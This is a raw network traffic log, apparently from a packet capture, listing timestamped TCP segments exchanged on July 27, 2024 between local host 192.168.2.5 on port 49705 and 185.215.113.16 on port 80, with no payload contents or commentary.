Jul 27, 2024 12:01:22.770200968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770206928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770240068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770289898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770292997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770313978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770323992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770359039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770375013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770375013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770423889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770531893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770565987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770598888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770632029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770632982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770668030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770700932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770709038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770709038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770735025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770770073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770802975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.770865917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770865917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770865917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.770982981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771090031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771125078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771158934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771167040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771167040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771193027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771244049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771248102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771296978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771302938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771331072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771363974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771399021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771406889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771491051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771502018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771536112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771570921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771604061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771655083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771698952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771729946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771764040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771795034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771800995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771800995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771830082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771863937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771874905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771874905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771895885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771927118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771929026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771944046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.771962881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.771996975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772013903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772015095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772030115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772063971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772097111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772102118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772103071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772103071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772131920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772171974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772171974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772186995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772224903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772257090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772289991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772319078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772326946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772326946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772326946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772326946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772351027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772351980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772384882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772388935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772418022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772540092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772572994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772608042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772690058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772718906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772752047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772785902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772819042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772824049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772824049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772824049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772840023 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.772852898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.772886038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.773220062 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.773220062 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.793761015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.793793917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.793828011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.793857098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.793879986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.793884039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.793914080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.793946028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.793979883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794023991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794023991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794023991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794030905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794059992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794094086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794126987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794157028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794157028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794172049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794197083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794229984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794254065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794274092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794281960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794313908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794347048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794384003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794384003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794399023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794431925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794439077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794467926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794502020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794528008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794536114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794552088 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794573069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794740915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794743061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794775009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794809103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794827938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794827938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794827938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794842005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794893026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794893980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.794926882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794961929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.794981956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.795003891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.795005083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.795301914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.856043100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856168032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856246948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856319904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856394053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856465101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856590033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856657982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856770039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856848001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.856956005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857029915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857140064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857208967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857284069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857352972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857429028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857486963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857542038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857620955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857696056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857810974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857882023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.857985973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858094931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858165979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858211994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858280897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858396053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858468056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858541965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858613968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858689070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858795881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858874083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858922005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.858995914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859064102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859134912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859210968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859291077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859363079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859436035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859508038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859591961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859659910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859770060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859843016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.859966993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860075951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860152006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860223055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860274076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860335112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860405922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860476017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860594034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860663891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860735893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860805035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860882044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.860949993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861000061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861076117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861148119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861222029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861295938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861370087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861449003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861520052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861562967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861603022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861641884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861671925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861696005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861722946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861752987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861782074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861814022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861841917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861866951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861896992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.861927032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.864506960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.864506960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.880906105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.880961895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.880996943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881020069 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881047010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881083012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881115913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881150007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881185055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881217957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881231070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881231070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881231070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881231070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881251097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881283045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881316900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881350040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881391048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881419897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881465912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881465912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881465912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881465912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881472111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881505013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881537914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881572962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881604910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881635904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881721973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881753922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881767988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881767988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881767988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881767988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881805897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881839037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881889105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881923914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881934881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881934881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881934881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881934881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.881959915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.881994963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.882029057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.882072926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.882072926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.882072926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.882072926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.942730904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.942802906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.942842007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.942893982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.942893982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.942895889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.942931890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.942987919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943013906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943025112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943075895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943090916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943113089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943146944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943183899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943216085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943249941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943283081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943321943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943329096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943329096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943329096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943329096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943661928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943727016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943753958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943769932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943798065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943798065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943846941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943862915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943903923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943903923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.943942070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.943979979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944020987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944056988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944072962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944089890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944124937 CEST	49705	80	192.168.2.5	185.215.113.16
